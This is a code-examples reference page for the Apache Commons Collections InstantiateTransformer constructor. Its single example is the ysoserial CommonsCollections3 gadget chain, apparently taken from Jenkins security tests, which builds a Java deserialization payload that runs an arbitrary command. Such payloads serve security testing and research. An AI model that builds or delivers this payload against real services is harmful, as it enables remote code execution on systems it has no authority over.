Example usage for org.apache.commons.collections.functors InstantiateTransformer InstantiateTransformer

List of usage examples for org.apache.commons.collections.functors InstantiateTransformer InstantiateTransformer

Introduction

In this page you can find the example usage for org.apache.commons.collections.functors InstantiateTransformer InstantiateTransformer.

Prototype

public InstantiateTransformer(Class[] paramTypes, Object[] args) 

Source Link

Document

Constructor that performs no validation.

Usage

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections3.java

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}